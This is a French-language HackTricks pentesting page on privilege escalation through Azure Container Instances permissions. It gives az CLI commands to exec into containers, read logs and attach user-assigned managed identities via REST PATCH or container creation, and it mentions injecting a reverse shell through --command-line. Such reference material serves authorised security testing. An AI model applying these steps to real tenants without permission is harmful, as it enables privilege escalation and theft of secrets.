# Az - Azure Container Instances Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Instances

Pour plus d'informations, consultez :

{{#ref}}
../az-services/az-container-instances.md
{{#endref}}

### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`

Ces permissions permettent à l'utilisateur de **exécuter une commande** dans un conteneur en cours d'exécution. Cela peut être utilisé pour **escalader les privilèges** dans le conteneur s'il a une identité gérée attachée. Bien sûr, il est également possible d'accéder au code source et à toute autre information sensible stockée à l'intérieur du conteneur.

Pour exécuter un `ls` et obtenir la sortie, c'est aussi simple que :
```bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command 'ls'
```
Il est également possible de **lire la sortie** du conteneur avec :
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ou obtenez les journaux avec :
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ces permissions permettent de **lier une identité gérée par l'utilisateur** à un groupe de conteneurs. Cela est très utile pour élever les privilèges dans le conteneur.

Pour lier une identité gérée par l'utilisateur à un groupe de conteneurs :
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ces autorisations permettent de **créer ou mettre à jour un groupe de conteneurs** avec une **identité gérée par l'utilisateur** qui y est attachée. Cela est très utile pour élever les privilèges dans le conteneur.
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
De plus, il est également possible de mettre à jour un groupe de conteneurs existant en ajoutant par exemple l'argument **`--command-line`** avec un reverse shell.

{{#include ../../../banners/hacktricks-training.md}}
